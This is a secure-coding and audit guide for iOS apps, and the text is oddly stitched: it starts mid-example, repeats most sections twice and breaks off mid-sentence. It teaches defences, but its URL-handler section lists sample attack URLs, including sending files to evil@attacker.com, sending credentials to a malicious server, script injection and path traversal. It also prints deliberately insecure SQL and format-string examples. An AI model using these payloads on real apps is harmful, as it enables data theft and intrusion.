    sqlite3_bind_int(selectUid, 1, uid);
    int status = sqlite3_step(selectUid);
[/code]

## App hardening

### Hardening: Enable exploit mitigation compile-time options

In order to make exploiting iOS applications harder for the attacker, make
sure you enable platform exploit mitigation options.

> **Audit tip:** Check that compiler and linker flags for exploit mitigation
> are enabled.
Flags to enable:

  * Objective-C automatic reference counting \(` -fobjc-arc `\) helps to prevent use-after-free and use-after-release bugs. Enabling ARC might not be always possible with shared code, performance-sensitive code, or legacy codebases. Check with:
` otool -I -v binary | grep _objc_autorelease `
  * Stack smashing protection \(` -fstack-protector-all `\). This potentially helps to prevent stack buffer overflows. Check with \(should be on by default\):
` otool -I -v binary | grep stack_chk_guard `
  * Full ASLR - position independent executable \(` -pie `\). This makes it harder for the attacker to find known code locations. \(Apple App Store guards this for iPhone 5+ targets\). Check with \(should be on by default\):
` otool -hv binary | grep PIE `

### Hardening: Check Xcode’s static analysis report

Static analysis can help to reveal memory leak, use-after-free, use-after-
release, and other bugs.

> **Audit tip:** Check the output of Xcode’s "Build & Analyze"
## Network-level issues

### Networking: Use GTMSessionFetcher communication securely

By default, GTMSessionFetcher won’t load any non-https URL schemes.

> **Audit tip:** Check that no exceptions are made by using `
> allowedInsecureSchemes `, ` allowLocalhostRequest ` or `
> GTM_ALLOW_INSECURE_REQUESTS `.
### Networking: Configure App Transport Security \(ATS\)

By default, apps linked against iOS 9 cannot make unprotected HTTP
connections. Review that the ATS configuration is correct.

> **Audit tip:** Check that no exceptions are done in the ` Info.plist `.
> **Audit tip:** Check that the list of HTTPS domains in the ` Info.plist ` is
> correct.
In iOS 10, some new exceptions are available:

  1. Exception for streaming media using ` AVFoundation `
  2. ` NSAllowsArbitraryLoadsInWebContent ` will exempt ATS in ` WKWebView `

### Networking: Use native TLS/SSL securely

SSL should be used on all communication to prevent attackers from reading or
modifying traffic on the network.

> **Audit tip:** Check that all APIs besides local WebViews use SSL \(https
> scheme, no http\).
> **Audit tip:** Check that authorization tokens are never be passed in URLs
> but only in headers of HTTPS requests \(e.g. as a Cookie header\). The
> concern here is that they are unintentionally logged on a ISP/company proxy
> or accidentally leaked through referrers without the user’s knowledge.
> **Audit tip:** Check that no debug options for SSL have been enabled in the
> release build:
>   * ` NSStream: `
>     * ` kCFStreamSSLLevel `
>     * ` kCFStreamSSLAllowsExpiredCertificates `
>     * ` kCFStreamSSLAllowsAnyRoot `
>     * ` kCFStreamSSLAllowsExpiredRoots `
>     * ` kCFStreamSSLValidatesCertificateChain `
>   * ` NSURLRequest `
>     * ` setAllowsAnyHTTPSCertificate `
>   * ` NSURLConnection `
>     * ` continueWithoutCredentialForAuthenticationChallenge `
>   * ` ValidatesSecureCertificate `
>   * ` setValidatesSecureCertificate `
>

## Issues with IO

### IO: Validate incoming URL handler calls

URI handlers are special entry points to the application and can be called
from email, chat, browser or other applications. They can be used as delivery
vehicles for attacks that exploit logic bugs, XSS, XSRF-style bugs or buffer-
overflows.

> **Audit tip:** Check for URI handlers registered and handled by the
> application \(` registerForRemoteNotificationTypes ` and ` handleOpenURL
> `\).
To illustrate the problem, some attack ideas that could be feasible:

[code]

    myapp://cmd/run?program=/path/to/program/to/run
    myapp://cmd/set_preference?use_ssl=false
    myapp://cmd/sendfile?to=evil@attacker.com&file=some/data/file
    myapp://cmd/delete?data_to_delete=my_document_ive_been_working_on
    myapp://cmd/login_to?server_to_send_credentials=malicious.webserver.com
    myapp://cmd/adduser='>"><script>javascript to run goes here</script>
    myapp://use_template?template=/../../../../../../../../some/other/file
    
[/code]

> **Audit tip:** Check that ` userInfo ` and ` launchOptions ` are validated
> during parsing of URI request. For actions after the URL handler, it is
> important to ask user for confirmation before taking action.
Additionally, note that other applications could be able to register the same
URL handler and intercept requests. When passing highly sensitive information
it is preferable to sign and/or encrypt URL handler-transmitted data to
prevent leakage and/or forgery.

### IO: Validate outgoing requests and URL handlers

> **Audit tip:** Check for outgoing requests made by an ` UIWebView `. Only a
> certain whitelist of schemes should be allowed \(http/https\) to avoid `
> file: `, ` facetime: `, ` facetime-audio: `, ` sms: `, or other ` app-id: `
> URLs. Make sure to filter ` tel: ` URLs \(or require user confirmation\)
> because they can be used to automatically dial a cost incurring phone
> number.
The correct way to check an outgoing request is shown below:

[code]

    - (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest
      *)request navigationType:(UIWebViewNavigationType)navigationType;
[/code]

If you are using ` WKWebView ` you'll need to use the `
-webView:decidePolicyForNavigationAction:decisionHandler: ` method in the `
WKNavigationDelegate ` protocol to catch requests like these.

### IO: Prevent WebView UI redressing

> **Audit tip:** Check for WebViews which would allow for browser UI
> redressing, for example a full screen WebView which could display an UI
> similar to the original App or to a login screen. Such WebViews could be
> used by attackers to do phishing.
> **Audit tip:** Check for WebViews which would allow browsing the web like a
> browser but don't provide typical browser security UI like an URL bar
> indicating the domain and TLS status. Also, make sure that if the WebView
> allows browsing the web, common browser security feature like mixed-content
> prevention are still present in the WebView.
### IO: Avoid XSS in WebViews

> **Audit tip:** Check how the ` UIWebView `/` WKWebView ` is handling strings
> because attacks similar to XSS can occur. An XSS in a ` UIWebView ` can
> potentially leak local files, for example the address book. Also make sure
> that the WebView is not prone to redirection which can be utilized for
> phishing.
## Memory corruption issues

### Memory: Prevent NULL byte injection

CF/NS strings contain NULL bytes at different locations. When an insecure
conversion occurs a string could terminate early.

> **Audit tip:** Check for incorrect conversion between the raw bytes of the `
> CFDataRef / CFStringRef / NSString ` and C strings.
This example shows incorrect conversion:

[code]

    NSString *fname = @"user_supplied_image_name\0";
    NSString *sourcePath = [[NSString alloc] initWithFormat:@"%@/%@.jpg",
                            [[NSBundle mainBundle] resourcePath],
                            fname];
    printf("%s", [sourcePath
    UTF8String]);
    // prints [...]Products/Debug/user_supplied_image_name without the .jpg ending
[/code]

### Memory: Prevent format string attacks

Format string attacks can be mounted on traditional functions \(` printf `, `
scanf `, ` syslog `, etc.\), but also on iOS platform functions. The Xcode
Build & Analyze option should catch most missing format strings.

> **Audit tip:** Check for missing format strings for the following functions:
  * ` CFStringCreateWithFormat `
  * ` CFStringCreateWithFormatAndArguments `
  * ` CFStringAppendFormat `
  * ` [NSString stringWithFormat:] ` and other ` NSString ` methods that take formatted strings as arguments:
    * ` [NSString initWithFormat:] `
    * ` [NSString *WithFormat] `
    * ` [NSString stringByAppendingFormat] `
    * ` appendingFormat `
    * Wrong example:
` [x stringByAppendingFormat:[UtilityClass formatStuff:attacker.text]]; `

    * Correct example:
` [x stringByAppendingFormat:@"%@", [UtilityClass formatStuff:attacker.text]];
`

  * ` [NSMutableString appendFormat] `
  * ` [NSAlert alertWithMessageText] `
  * ` [NSPredicate predicateWithFormat:] `
  * ` [NSPredicate predicateWithFormat:arguments:] `
  * ` [NSException raise:format:] ` and ` [NSException raise:format:arguments:] `
  * ` NSRunAlertPanel ` and other Application Kit functions that create or return panels or sheets
  * ` [NSLog] `

## Security considerations for apps built with Swift

Keep the following in mind if you're developing iOS apps with Swift:

  * Swift uses Automatic Reference Counting \(ARC\) by default, which is very helpful.
  * If string interpolation is used, there is no risk of a format string attack.
  * An integer overflow causes a runtime error.
  * Buffer overflows generally cannot occur due to lack of pointers, except when ` UnsafePointer ` is used for C-compatibility.

Also, when handling sensitive memory, be aware that Swift won’t easily let you
erase sensitive data, e.g. passwords. One way to do this is to use `
UnsafeMutablePointer ` or an ` UnsafeCollection ` \(see Secure Memory for
Swift Objects for more information\).

## Guide: Where should I store my data on iOS?

### Where can I store my data?

  * Keychain Services
    * Encrypted key/value store designed to hold: 
      * Generic passwords
      * Internet passwords \(password + protocol + server\)
      * Certificates
      * Private Keys
      * Identities \(certificate + private key\)
    * Max raw value size is ~16MB.
    * Keychains may be shared \(this is how SSO works on iOS\) or private to the app. 
      * Keychains can only be shared by apps from the same vendor.
      * Enterprise/Dogfood apps have a different vendor ID compared to Prod.

Your application has access to its own app-specific filesystem sandbox; please
refer to Apple’s File System Programming Guide \(specifically, the iOS
sections\) for more details.

  * Documents/ 
    * User-created data that should be visible to the user
    * Optionally visible to the user in iTunes 
      * Subdirectories generally aren’t, special tools can still open them
    * Backed up 
      * User can disable backup for specific apps
      * App can disable paths by setting ` NSURLIsExcludedFromBackupKey `
  * Library/Caches/ 
    * Semi-persistent cached files
    * Not visible to the user
    * Not backed up
    * May be deleted by the OS at any time if the app is not running 
      * Managed automatically in response to storage pressure
  * Library/Application Support/ 
    * Persistent files necessary to run the app
    * Not visible to the user
    * Backed up 
      * User can disable backup for specific apps
      * App can disable paths by setting ` NSURLIsExcludedFromBackupKey `
  * Library/Preferences/ 
    * As /Application Support/
    * By convention, only files created with ` NSUserDefaults `
  * Library/\* 
    * As /Application Support/
  * tmp/ 
    * Non-persistent cached files
    * Not visible to the user
    * Not backed up
    * Periodically deleted by the OS when the app is not running

### Does the OS protect the keychain? How?

The keychain, on modern iOS devices \(post-Touch ID\) is secured using a
hardware module. There are no known attacks that directly compromise the
keychain via hardware or software; jailbroken devices are vulnerable to
certain attacks.

Keychain backups \(to iCloud\) cannot be recovered without the user’s iCloud
password. Keychain data is not included in local backups unless that backup is
encrypted with a password.

### Does the OS protect my files on disk? How?

Yes, the OS provides four levels of protection. Note that backups to iCloud
are always encrypted and that backups in iTunes are optionally encrypted;
unencrypted backups do not back up data marked in any of the protected classes
below. The device’s filesystem is encrypted on modern iOS on the DMA path;
these options add extra layers of security.

  * ` NSFileProtectionComplete ` \- most secure 
    * Only readable if device is unlocked.
    * File is closed when the device is locked.
    * Suitable for most apps and data.
  * ` NSFileProtectionCompleteUnlessOpen `
    * File can only be opened when the device is unlocked.
    * File is not closed when the device is locked.
    * File is encrypted when the last open handle is closed.
    * Suitable for data that is uploaded in the background, etc.
  * ` NSFileProtectionCompleteUntilFirstUserAuthentication ` **\(default\)**
    * File is inaccessible until the device is unlocked once after boot.
    * Suitable for background processes that should start ASAP after boot. 
      * Geofence data
      * Bluetooth accessories \(e.g. Android Wear\)
    * In general, all user data should be at least at this level.
  * ` NSFileProtectionNone ` \- least secure 
    * No protection.
    * Suitable for certain applications that must access data immediately on boot without any user interaction. This encryption/decryption is handled by the OS and the keychain transparently. The relevant decryption key is created from the keychain when appropriate and erased from memory when appropriate; see this guide for more details.

### Where should I store my data?

  * Sensitive and persistent data - credentials, tokens, etc? Keychain.
  * Large sensitive and persistent files? 
    * Save it to the ` Library/* ` directory.
    * Exclude it from backups. 
      * Keychain backups have a higher level of security than filesystem backups.
    * Set appropriate encryption options - as secure as possible.
  * Sensitive cache data? 
    * Save it to ` Library/Caches/* `
    * Set appropriate encryption options - as secure as possible.
  * Application configuration? 
    * ` NSUserDefaults `? ` Library/Preferences/[Name].plist `
    * Other/custom format? ` Library/Application Support/* `
    * Set appropriate encryption options - as secure as possible.
  * Persistent content that should be backed up? 
    * User-generated and user-visible? 
      * ` Documents/* ` directory.
      * Don’t use subdirectories if you want users to use iTunes file sharing.
      * ` NSFileProtectionCompleteUntilFirstUserAuthentication ` is probably the most appropriate option for encryption, if desired. 
        * Note that malware on a trusted computer can access this directory if iTunes file sharing is enabled.
    * Shouldn’t be visible to the user? 
      * ` Library/Application Support/* `
      * Set appropriate encryption options.

## Best practices for storage

### Store files securely

A stolen or lost iOS device can be potentially jailbroken or disassembled and
the contents of the local file system can be read. Therefore iOS app
developers need to make sure to encrypt sensitive information like credentials
or other private information.

Keychain already allows you to prevent items from ever leaving the device or
be included in backups.

In addition to that:

  * Items can be made to require user consent when accessed;
  * That consent can be set to Touch ID with the device password as fallback;
  * Items can be made inaccessible if passcode is removed.

The safest scenario would require flagging items as device-only, requiring
Touch ID for access, and invalidated if passcode is ever removed.

Remember: you can also store any piece of text in Keychain, not just username
and password credentials. Apple uses this to synchronize Wifi credentials
between devices so that when you connect your laptop to a network, your phone
will be able to as well a few seconds later when synchronization finishes,
saving you from entering those long passwords on your phone. For more
information on the details check out the Apple iOS Security white paper.

> **Audit tip:** Check for stored data which is not using `
> kSecAttrAccessibleWhenUnlocked ` or ` kSecAttrAccessibleAfterFirstUnlock `.
> For example, if it is using ` kSecAttrAccessibleAlways `, then the data is
> not sufficiently protected.
> **Audit tip:** Check for files created with ` NSFileProtectionNone ` \- they
> have no protection. Note that files created without explicit protection do
> not necessarily use ` NSFileProtectionNone `. Make sure one of the following
> is used:
>   * ` NSFileProtectionComplete `
>   * ` NSFileProtectionCompleteUnlessOpen ` \(key stays in memory while
> locked and file opened\)
>   * ` NSFileProtectionCompleteUntilFirstUserAuthentication ` \(key stays in
> memory when locked\)
>

### Create secure temporary files

> **Audit tip:** Check that secure temporary files and directories are used -
> for example, ` URLForDirectory `, ` NSTemporaryDirectory `, `
> FSFindFolder(kTemporaryFolderType) `. See also Create Temporary Files
> Correctly in the Apple Secure Coding Guide.
### Avoid insecure destination files and APIs

> **Audit tip:** Check for private information \(PII\) in NSLog/Alog, plist or
> local sqlite databases. It may not be encrypted.
> **Audit tip:** Check that only appropriate user-specific non-sensitive
> information is written to iCloud storage. Use ` NSURLIsExcludedFromBackupKey
> ` to prevent backup of files to iCloud and iTunes.
> **Audit tip:** For the Keychain, check that ` kSecAttrSynchronizable ` is
> false if the item is not intended for iCloud Keychain backup \(it is false
> by default\).
> **Audit tip:** Check that NSUserDefaults does only contain settings and no
> personal information.
# Secure iOS application development

This guide is a collection of the most common vulnerabilities found in iOS
applications. The focus is on vulnerabilities in the applications’ code and
only marginally covers general iOS system security, Darwin security,
C/ObjC/C++ memory safety, or high-level application security.

Nevertheless, hopefully the guide can serve as training material to iOS app
developers that want to make sure that they ship a more secure app. Also, iOS
security reviewers can use it as a reference during assessments.

> **Just like any software, this guide will rot unless we update it. We
> encourage everyone to help us on that, just open an issue or send a pull
> request\!**
## API-level issues

### API: Generate cryptographically-strong random numbers

Generally, iOS provides easy-to-use cryptographic interfaces. Don’t implement
custom crypto algorithms \(besides crypto problems, it can also cause issues
during App Store review\).

Only supply cryptographically-strong random numbers to cryptographic
functions.

> **Audit tip:** Check that all cryptographically secure random numbers are
> fetched using the Randomization Services programming interface.
Correct example:

[code]

    int r = SecRandomCopyBytes(kSecRandomDefault, sizeof(int), (uint8_t*) &res);
    
[/code]

### API: Prevent leaking sensitive data during app backgrounding

When iOS backgrounds an app, a screenshot of the app might get saved to an
unencrypted cache on the local file system. This happends for example when the
user presses the home button. Apple recommends developers to hide any
sensitive information before this occurs.

If the app is handling sensitive user data, verify that code exists to hide or
blur the sensitive elements or the full window.

> **Audit tip:** Check for hiding code in ` applicationDidEnterBackground `.
Alternatively, you can set ` allowScreenShot `. Using `
ignoreSnapshotOnNextApplicationLaunch ` seems broken.

### API: Handle the pasteboard securely

If the pasteboard is marked persistent it may get saved to local storage along
with potentially sensitive user data. Also, make sure to clear pasteboard when
an application backgrounds.

> **Audit tip:** Check for ` UIPasteboardNameGeneral ` & `
> UIPasteboardNameFind `.
### API: Disable auto-correction for sensitive input fields

Some iOS versions cache keyboard entries for auto-correction. This is disabled
for password fields but should be disabled for other sensitive fields \(e.g.
credit card number\) as well. Set the following to prevent this:

[code]

    UITextField autoCorrectionType = UITextAutocorrectionTypeNo
    
[/code]

or mark the text field as secure \(hidden input\) with the ` secureTextEntry `
attribute.

> **Audit tip:** Check for sensitive non-password input fields \(e.g. credit
> card\) which do not have ` UITextAutoCorrectionNo `.
## Data-handling issues

### Handling data: Deserialize data securely

During deserialization, some objects are re-instantiated in memory. Thus, if
the serialized data originates from an untrusted source, code execution might
be possible.

When writing your own classes, it is generally a good idea to comply with the
` NSSecureCoding ` protocol, to make sure that classes constructed from
external sources are the intended class. It is also required by Apple for
classes that are used with inter-application communication \(`
UIActivityViewController `\).

> **Audit tip:** Check for insecure deserialization from untrusted sources.
> Some deserialization \(` NSCoding `, ` NSCoder `\) must have checks for the
> deserialized data to be within bounds.
> **Audit tip:** Other deserialization \(` CFBundle `, ` NSBundle `, `
> NSKeyedUnarchiverDelegate `, ` didDecodeObject `, ` awakeAfterUsingCoder `\)
> can directly lead to code execution by returning different objects during
> deserialization.
> **Audit tip:** Check that nib files are not dynamically loaded from
> untrusted origins.
### Handling data: Avoid SQL Injection

If attacker-supplied strings are concatenated to a SQL query, SQL injection on
a sqlite database may occur. This might leak sensitive information from the
database or inject malicious payloads.

> **Audit tip:** Check for calls to ` sqlite3_exec() ` and other non-prepared
> SQL functions. The functions ` sqlite3_prepare*() ` should be used instead.
Incorrect example:

[code]

    NSString *uid = [myHTTPConnection getUID];
    NSString *statement = [NSString StringWithFormat:@"SELECT username FROM users
    where uid = '%@'",uid];
    const char *sql = [statement UTF8String];
[/code]

Correct example:

[code]

    const char *sql = "SELECT username FROM users where uid = ?";
    sqlite3_prepare_v2(db, sql, -1, &selectUid, NULL);
    sqlite3_bind_int(selectUid, 1, uid);
    int status = sqlite3_step(selectUid);
[/code]

## App hardening

### Hardening: Enable exploit mitigation compile-time options

In order to make exploiting iOS applications harder for the attacker, make
sure you enable platform exploit mitigation options.

> **Audit tip:** Check that compiler and linker flags for exploit mitigation
> are enabled.
Flags to enable:

  * Objective-C automatic reference counting \(` -fobjc-arc `\) helps to prevent use-after-free and use-after-release bugs. Enabling ARC might not be always possible with shared code, performance-sensitive code, or legacy codebases. Check with:
` otool -I -v binary | grep _objc_autorelease `
  * Stack smashing protection \(` -fstack-protector-all `\). This potentially helps to prevent stack buffer overflows. Check with \(should be on by default\):
` otool -I -v binary | grep stack_chk_guard `
  * Full ASLR - position independent executable \(` -pie `\). This makes it harder for the attacker to find known code locations. \(Apple App Store guards this for iPhone 5+ targets\). Check with \(should be on by default\):
` otool -hv binary | grep PIE `

### Hardening: Check Xcode’s static analysis report

Static analysis can help to reveal memory leak, use-after-free, use-after-
release, and other bugs.

> **Audit tip:** Check the output of Xcode’s "Build & Analyze"
## Network-level issues

### Networking: Use GTMSessionFetcher communication securely

By default, GTMSessionFetcher won’t load any non-https URL schemes.

> **Audit tip:** Check that no exceptions are made by using `
> allowedInsecureSchemes `, ` allowLocalhostRequest ` or `
> GTM_ALLOW_INSECURE_REQUESTS `.
### Networking: Configure App Transport Security \(ATS\)

By default, apps linked against iOS 9 cannot make unprotected HTTP
connections. Review that the ATS configuration is correct.

> **Audit tip:** Check that no exceptions are done in the ` Info.plist `.
> **Audit tip:** Check that the list of HTTPS domains in the ` Info.plist ` is
> correct.
In iOS 10, some new exceptions are available:

  1. Exception for streaming media using ` AVFoundation `
  2. ` NSAllowsArbitraryLoadsInWebContent ` will exempt ATS in ` WKWebView `

### Networking: Use native TLS/SSL securely

SSL should be used on all communication to prevent attackers from reading or
modifying traffic on the network.

> **Audit tip:** Check that all APIs besides local WebViews use SSL \(https
> scheme, no http\).
> **Audit tip:** Check that authorization tokens are never be passed in URLs
> but only in headers of HTTPS requests \(e.g. as a Cookie header\). The
> concern here is that they are unintentionally logged on a ISP/company proxy
> or accidentally leaked through referrers without the user’s knowledge.
> **Audit tip:** Check that no debug options for SSL have been enabled in the
> release build:
>   * ` NSStream: `
>     * ` kCFStreamSSLLevel `
>     * ` kCFStreamSSLAllowsExpiredCertificates `
>     * ` kCFStreamSSLAllowsAnyRoot `
>     * ` kCFStreamSSLAllowsExpiredRoots `
>     * ` kCFStreamSSLValidatesCertificateChain `
>   * ` NSURLRequest `
>     * ` setAllowsAnyHTTPSCertificate `
>   * ` NSURLConnection `
>     * ` continueWithoutCredentialForAuthenticationChallenge `
>   * ` ValidatesSecureCertificate `
>   * ` setValidatesSecureCertificate `
>

## Issues with IO

### IO: Validate incoming URL handler calls

URI handlers are special entry points to the application and can be called
from email, chat, browser or other applications. They can be used as delivery
vehicles for attacks that exploit logic bugs, XSS, XSRF-style bugs or buffer-
overflows.

> **Audit tip:** Check for URI handlers registered and handled by the
> application \(` registerForRemoteNotificationTypes ` and ` handleOpenURL
> `\).
To illustrate the problem, some attack ideas that could be feasible:

[code]

    myapp://cmd/run?program=/path/to/program/to/run
    myapp://cmd/set_preference?use_ssl=false
    myapp://cmd/sendfile?to=evil@attacker.com&file=some/data/file
    myapp://cmd/delete?data_to_delete=my_document_ive_been_working_on
    myapp://cmd/login_to?server_to_send_credentials=malicious.webserver.com
    myapp://cmd/adduser='>"><script>javascript to run goes here</script>
    myapp://use_template?template=/../../../../../../../../some/other/file
    
[/code]

> **Audit tip:** Check that ` userInfo ` and ` launchOptions ` are validated
> during parsing of URI request. For actions after the URL handler, it is
> important to ask user for confirmation before taking action.
Additionally, note that other applications could be able to register the same
URL handler and intercept requests. When passing highly sensitive information
it is preferable to sign and/or encrypt URL handler-transmitted data to
prevent leakage and/or forgery.

### IO: Validate outgoing requests and URL handlers

> **Audit tip:** Check for outgoing requests made by an ` UIWebView `. Only a
> certain whitelist of schemes should be allowed \(http/https\) to avoid `
> file: `, ` facetime: `, ` facetime-audio: `, ` sms: `, or other ` app-id: `
> URLs. Make sure to filter ` tel: ` URLs \(or require user confirmation\)
> because they can be used to automatically dial a cost incurring phone
> number.
The correct way to check an outgoing request is shown below:

[code]

    - (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest
      *)request navigationType:(UIWebViewNavigationType)navigationType;
[/code]

If you are using ` WKWebView ` you'll need to use the `
-webView:decidePolicyForNavigationAction:decisionHandler: ` method in the `
WKNavigationDelegate ` protocol to catch requests like these.

### IO: Prevent WebView UI redressing

> **Audit tip:** Check for WebViews which would allow for browser UI
> redressing, for example a full screen WebView which could display an UI
> similar to the original App or to a login screen. Such WebViews could be
> used by attackers to do phishing.
> **Audit tip:** Check for WebViews which would allow browsing the web like a
> browser but don't provide typical browser security UI like an URL bar
> indicating the domain and TLS status. Also, make sure that if the WebView
> allows browsing the web, common browser security feature like mixed-content
> prevention are still present in the WebView.
### IO: Avoid XSS in WebViews

> **Audit tip:** Check how the ` UIWebView `/` WKWebView ` is handling strings
> because attacks similar to XSS can occur. An XSS in a ` UIWebView ` can
> potentially leak local files, for example the address book. Also make sure
> that the WebView is not prone to redirection which can be utilized for
> phishing.
## Memory corruption issues

### Memory: Prevent NULL byte injection

CF/NS strings contain NULL bytes at different locations. When an insecure
conversion occurs a string could terminate early.

> **Audit tip:** Check for incorrect conversion between the raw bytes of the `
> CFDataRef / CFStringRef / NSString ` and C strings.
This example shows incorrect conversion:

[code]

    NSString *fname = @"user_supplied_image_name\0";
    NSString *sourcePath = [[NSString alloc] initWithFormat:@"%@/%@.jpg",
                            [[NSBundle mainBundle] resourcePath],
                            fname];
    printf("%s", [sourcePath
    UTF8String]);
    // prints [...]Products/Debug/user_supplied_image_name without the .jpg ending
[/code]

### Memory: Prevent format string attacks

Format string attacks can be mounted on traditional functions \(` printf `, `
scanf `, ` syslog `, etc.\), but also on iOS platform functions. The Xcode
Build & Analyze option should catch most missing format strings.

> **Audit tip:** Check for missing format strings for the following functions:
  * ` CFStringCreateWithFormat `
  * ` CFStringCreateWithFormatAndArguments `
  * ` CFStringAppendFormat `
  * ` [NSString stringWithFormat:] ` and other ` NSString ` methods that take formatted strings as arguments:
    * ` [NSString initWithFormat:] `
    * ` [NSString *WithFormat] `
    * ` [NSString stringByAppendingFormat] `
    * ` appendingFormat `
    * Wrong example:
` [x stringByAppendingFormat:[UtilityClass formatStuff:attacker.text]]; `

    * Correct example:
` [x stringByAppendingFormat:@"%@", [UtilityClass formatStuff:attacker.text]];
`

  * ` [NSMutableString appendFormat] `
  * ` [NSAlert alertWithMessageText] `
  * ` [NSPredicate predicateWithFormat:] `
  * ` [NSPredicate predicateWithFormat:arguments:] `
  * ` [NSException raise:format:] ` and ` [NSException raise:format:arguments:] `
  * ` NSRunAlertPanel ` and other Application Kit functions that create or return panels or sheets
  * ` [NSLog] `

## Security considerations for apps built with Swift

Keep the following in mind if you're developing iOS apps with Swift:

  * Swift uses Automatic Reference Counting \(ARC\) by default, which is very helpful.
  * If string interpolation is used, there is no risk of a format string attack.
  * An integer overflow causes a runtime error.
  * Buffer overflows generally cannot occur due to lack of pointers, except when ` UnsafePointer ` is used for C-compatibility.

Also, when handling sensitive memory, be aware that Swift won’t easily let you
erase sensitive data, e.g. passwords. One way to do this is to use `
UnsafeMutablePointer ` or an ` UnsafeCollection ` \(see Secure Memory for
Swift Objects for more information\).

## Guide: Where should I store my data on iOS?

### Where can I store my data?

  * Keychain Services
    * Encrypted key/value store designed to hold: 
      * Generic passwords
      * Internet passwords \(password + protocol + server\)
      * Certificates
      * Private Keys
      * Identities \(certificate + private key\)
    * Max raw value size is ~16MB.
    * Keychains may be shared \(this is how SSO works on iOS\) or private to the app. 
      * Keychains can only be shared by apps from the same vendor.
      * Enterprise/Dogfood apps have a different vendor ID compared to Prod.

Your application has access to its own app-specific filesystem sandbox; please
refer to Apple’s File System Programming Guide \(specifically, the iOS
sections\) for more details.

  * Documents/ 
    * User-created data that should be visible to the user
    * Optionally visible to the user in iTunes 
      * Subdirectories generally aren’t, special tools can still open them
    * Backed up 
      * User can disable backup for specific apps
      * App can disable paths by setting ` NSURLIsExcludedFromBackupKey `
  * Library/Caches/ 
    * Semi-persistent cached files
    * Not visible to the user
    * Not backed up
    * May be deleted by the OS at any time if the app is not running 
      * Managed automatically in response to storage pressure
  * Library/Application Support/ 
    * Persistent files necessary to run the app
    * Not visible to the user
    * Backed up 
      * User can disable backup for specific apps
      * App can disable paths by setting ` NSURLIsExcludedFromBackupKey `
  * Library/Preferences/ 
    * As /Application Support/
    * By convention, only files created with ` NSUserDefaults `
  * Library/\* 
    * As /Application Support/
  * tmp/ 
    * Non-persistent cached files
    * Not visible to the user
    * Not backed up
    * Periodically deleted by the OS when the app is not running

### Does the OS protect the keychain? How?

The keychain, on modern iOS devices \(post-Touch ID\) is secured using a
hardware module. There are no known attacks that directly compromise the
keychain via hardware or software; jailbroken devices are vulnerable to
certain attacks.

Keychain backups \(to iCloud\) cannot be recovered without the user’s iCloud
password. Keychain data is not included in local backups unless that backup is
encrypted with a password.

### Does the OS protect my files on disk? How?

Yes, the OS provides four levels of protection. Note that backups to iCloud
are always encrypted and that backups in iTunes are optionally encrypted;
unencrypted backups do not back up data marked in any of the protected classes
below. The device’s filesystem is encrypted on modern iOS on the DMA path;
these options add extra layers of security.

  * ` NSFileProtectionComplete ` \- most secure 
    * Only readable if device is unlocked.
    * File is closed when the device is locked.
    * Suitable for most apps and data.
  * ` NSFileProtectionCompleteUnlessOpen `
    * File can only be opened when the device is unlocked.
    * File is not closed when the device is locked.
    * File is encrypted when the last open handle is closed.
    * Suitable for data that is uploaded in the background, etc.
  * ` NSFileProtectionCompleteUntilFirstUserAuthentication ` **\(default\)**
    * File is inaccessible until the device is unlocked once after boot.
    * Suitable for background processes that should start ASAP after boot. 
      * Geofence data
      * Bluetooth accessories \(e.g. Android Wear\)
    * In general, all user data should be at least at this level.
  * ` NSFileProtectionNone ` \- least secure 
    * No protection.
    * Suitable for certain applications that must access data immediately on boot without any user interaction. This encryption/decryption is handled by the OS and the keychain transparently. The relevant decryption key is created from the keychain when appropriate and erased from memory when appropriate; see this guide for more details.

### Where should I store my data?

  * Sensitive and persistent data - credentials, tokens, etc? Keychain.
  * Large sensitive and persistent files? 
    * Save it to the ` Library/* ` directory.
    * Exclude it from backups. 
      * Keychain backups have a higher level of security than filesystem backups.
    * Set appropriate encryption options - as secure as possible.
  * Sensitive cache data? 
    * Save it to ` Library/Caches/* `
    * Set appropriate encryption options - as secure as possible.
  * Application configuration? 
    * ` NSUserDefaults `? ` Library/Preferences/[Name].plist `
    * Other/custom format? ` Library/Application Support/* `
    * Set appropriate encryption options - as secure as possible.
  * Persistent content that should be backed up? 
    * User-generated and user-visible? 
      * ` Documents/* ` directory.
      * Don’t use subdirectories if you want users to use iTunes file sharing.
      * ` NSFileProtectionCompleteUntilFirstUserAuthentication ` is probably the most appropriate option for encryption, if desired. 
        * Note that malware on a trusted computer can access this directory if iTunes file sharing is enabled.
    * Shouldn’t be visible to the user? 
      * ` Library/Application Support/* `
      * Set appropriate encryption options.

## Best practices for storage

### Store files securely

A stolen or lost iOS device can be potentially jailbroken or disassembled and
the contents of the local file system can be read. Therefore iOS app
developers need to make sure to encrypt sensitive information like credentials
or other private information.

Keychain already allows you to prevent items from ever leaving the device or
be included in backups.

In addition to that:

  * Items can be made to require user consent when accessed;
  * That consent can be set to Touch ID with the device password as fallback;
  * Items can be made inaccessible if passcode is removed.

The safest scenario would require flagging items as device-only, requiring
Touch ID for access, and invalidated if passcode is ever removed.

Remember: you can also store any piece of text in Keychain, not just username
and password credentials. Apple uses this to synchronize Wifi credentials
between devices so that when you connect your laptop to a network, your phone
will be able to as well a few seconds later when synchronization finishes,
saving you from entering those long passwords on your phone. For more
information on the details check out the Apple iOS Security white paper.

> **Audit tip:** Check for stored data which is not using `
> kSecAttrAccessibleWhenUnlocked ` or ` kSecAttrAccessibleAfterFirstUnlock `.
> For example, if it is using ` kSecAttrAccessibleAlways `, then the data is
> not sufficiently protected.
> **Audit tip:** Check for files created with ` NSFileProtectionNone ` \- they
> have no protection. Note that files created without explicit protection do
> not necessarily use ` NSFileProtectionNone `. Make sure one of the following
> is used:
>   * ` NSFileProtectionComplete `
>   * ` NSFileProtectionCompleteUnlessOpen ` \(key stays in memory while
> locked and file opened\)
>   * ` NSFileProtectionCompleteUntilFirstUserAuthentication ` \(key stays in
> memory when locked\)
>

### Create secure temporary files

> **Audit tip:** Check that secure temporary files and directories are used -
> for example, ` URLForDirectory `, ` NSTemporaryDirectory `, `
> FSFindFolder(kTemporaryFolderType) `. See also Create Temporary Files
> Correctly in the Apple Secure Coding Guide.
### Avoid insecure destination files and APIs

> **Audit tip:** Check for private information \(PII\) in NSLog/Alog, plist or
> local sqlite databases. It may not be encrypted.
> **Audit tip:** Check that only appropriate user-specific non-sensitive
